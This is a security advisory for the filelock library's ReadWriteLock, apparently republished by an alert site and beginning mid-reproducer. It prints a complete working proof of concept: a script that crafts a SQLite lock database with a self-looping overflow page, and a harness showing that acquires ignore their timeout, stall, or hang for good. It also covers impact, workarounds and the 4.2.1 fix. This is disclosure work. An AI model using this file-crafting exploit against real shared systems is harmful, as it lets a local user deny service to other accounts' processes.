victim: an application takes the read lock with a one-second timeout started = time.monotonic() subprocess.run( [sys.executable, "/tmp/repro.d/victimreader.py", lockdb], user="victim", group="victim", extragroups=[], timeout=600, ) victimranfor = time.monotonic() - started

check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout victimpeakrssmb = resource.getrusage(resource.RUSAGECHILDREN).rumaxrss // 1024 # the victim is the largest child print(f"victim process ran for {victimranfor:.1f} s, peak RSS {victimpeakrssmb} MB") print("BUG" if victimranfor > 10 else "OK")

repro.d/makestallingdb.py

python #!/usr/bin/env python3 usage: makestallingdb.py <database path> <number of schema rows> Writes a SQLite database whose sqlitemaster rows each carry ~1 GB of sql text, stored in a few 4 KB pages: every row's text continues on one overflow page whose "next overflow page" field names itself. import os import struct import sys

database, schemarows = sys.argv[1], int(sys.argv[2])

PAGESIZE = 4096 LOOPPAGE = 2 COMMENTLEN = 999999000 # keeps each sql text just under SQLite's 1,000,000,000-byte string limit CLAIMEDPAGES = COMMENTLEN // PAGESIZE + 2 # SQLite refuses a record longer than page size x pages in the file TABLEINTERIORPAGE, TABLELEAFPAGE = 0x05, 0x0D

def varint(value): groups = [value & 0x7F] while value := value >> 7: groups.insert(0, value & 0x7F | 0x80) return bytes(groups)

def schemarowcell(rowid): # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error name = b"t%04d" % rowid sqlstart = b"CREATE TABLE " + name + b"(x) --" sqllen = len(sqlstart) + COMMENTLEN serialtypes = b"".join(varint(t) for t in [13 + 2 5, 13 + 2 len(name), 13 + 2 len(name), 1, 13 + 2 sqllen]) recordstart = varint(1 + len(serialtypes)) + serialtypes + b"table" + name + name + b"\x02" + sqlstart recordlen = len(recordstart) + COMMENTLEN # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page minlocal, maxlocal = (PAGESIZE - 12) 32 // 255 - 23, PAGESIZE - 35 local = minlocal + (recordlen - minlocal) % (PAGESIZE - 4) if local > maxlocal: local = minlocal return varint(recordlen) + varint(rowid) + recordstart.ljust(local, b"A") + struct.pack(">I", LOOPPAGE)

def btreepage(pagetype, cells, rightchild=b"", headeroffset=0): page = bytearray(PAGESIZE) contentstart = PAGESIZE cellpointers = b"" for cell in cells: contentstart -= len(cell) page[contentstart : contentstart + len(cell)] = cell cellpointers += struct.pack(">H", contentstart) header = struct.pack(">BHHHB", pagetype, 0, len(cells), contentstart, 0) + rightchild + cellpointers page[headeroffset : headeroffset + len(header)] = header return page

pages 3 and up: the leaves of sqlitemaster, about eight rows each cells = [schemarowcell(rowid) for rowid in range(1, schemarows + 1)] rowsperleaf = (PAGESIZE - 8) // (len(cells[0]) + 2) leaves = [btreepage(TABLELEAFPAGE, cells[i : i + rowsperleaf]) for i in range(0, schemarows, rowsperleaf)]

page 2: the overflow page, pointing at itself, then 4092 bytes of comment text looppage = struct.pack(">I", LOOPPAGE) + b"A" (PAGESIZE - 4)

page 1: the database header, then the root of sqlitemaster with one child per leaf firstleaf, lastleaf = 3, 3 + len(leaves) - 1 children = [struct.pack(">I", firstleaf + i) + varint((i + 1) rowsperleaf) for i in range(len(leaves) - 1)] rootpage = btreepage(TABLEINTERIORPAGE, children, rightchild=struct.pack(">I", lastleaf), headeroffset=100) rootpage[:100] = b"".join([ b"SQLite format 3\0", struct.pack(">H", PAGESIZE), bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses) bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions struct.pack(">I", 1), # file change counter struct.pack(">I", CLAIMEDPAGES), # database size in pages struct.pack(">II", 0, 0), # no freelist struct.pack(">II", 1, 4), # schema cookie, schema format struct.pack(">II", 0, 0), # default cache size, no auto-vacuum struct.pack(">I", 1), # text encoding: UTF-8 struct.pack(">III", 0, 0, 0), # user version, incremental vacuum, application id bytes(20), struct.pack(">I", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above struct.pack(">I", 3040001), # SQLite version that wrote the file ])

with open(database, "wb") as file: file.write(rootpage + looppage + b"".join(leaves)) written = file.tell() file.truncate(CLAIMEDPAGES PAGESIZE) # SQLite also refuses a file shorter than it claims; this stays a hole os.chmod(database, 0o666) # the victim's ReadWriteLock opens the database read-write print(f"attacker: wrote {database}: {schemarows} schema rows in {written} bytes, apparent size {CLAIMEDPAGES PAGESIZE}")

repro.d/victimreader.py

python import sys import time

from filelock import ReadWriteLock, Timeout

lock = ReadWriteLock(sys.argv[1]) started = time.monotonic() try: with lock.readlock(timeout=1): outcome = "acquired" except Timeout: outcome = "timed out" print(f"victim: readlock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s")

Failure sequence

mermaid flowchart TB P0["other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user"] --> P1["lock user's acquireread(timeout=1) opens a fresh connection, header is not WAL so it is accepted"] P1 --> P2["PRAGMA busytimeout then PRAGMA journalmode=MEMORY loads all of sqlitemaster, busytimeout does not apply to schema loading"] P2 --> P3["50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout"] P2 --> P4["6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed"] classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332; classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000; classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; class P0,P1,P2 info; class P3,P4 bad;

Evidence

The scanner's reproducer runs as root and drops to attacker and victim. It recreates /tmp/shared-cache with mode 0777 and no sticky bit. It runs makestallingdb.py /tmp/shared-cache/cache.lock.db 50 as attacker. That script writes the header and the sqlitemaster root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid CREATE TABLE tNNNN(x) --AAAA… rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode 0666. It then runs victimreader.py (ReadWriteLock(path) and one with lock.readlock(timeout=1):) as victim and times it:

attacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632 lock database uses 36864 bytes of disk victim: readlock(timeout=1) acquired after 24.6 s victim process ran for 24.8 s, peak RSS 981 MB BUG

The verdict is BUG when the victim process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (loopingdb.py) builds the looping file; the same victimreader.py run on it as victim does not return. A victim process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a 1777 directory a 0666 database owned by victim, overwritten in place with the looping file, hung the next acquire.

Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head the victim process stops with a ValueError after 0.1 s at 24 MB peak RSS and the reproducer prints OK.

Impact

Another local user who can create or replace the lock database makes every acquireread / acquirewrite of every process using that ReadWriteLock run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of timeout or blocking=False. This goes beyond what holding the lock gives that user, because a held lock ends in Timeout when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, Timeout is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.

Workarounds

- Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. - Do not give the lock a database another account may write. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a 0666 database stays reachable even in /tmp. - If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/834

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it - 2026-10-16 01:15 UTC: fix PR #834 opened

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203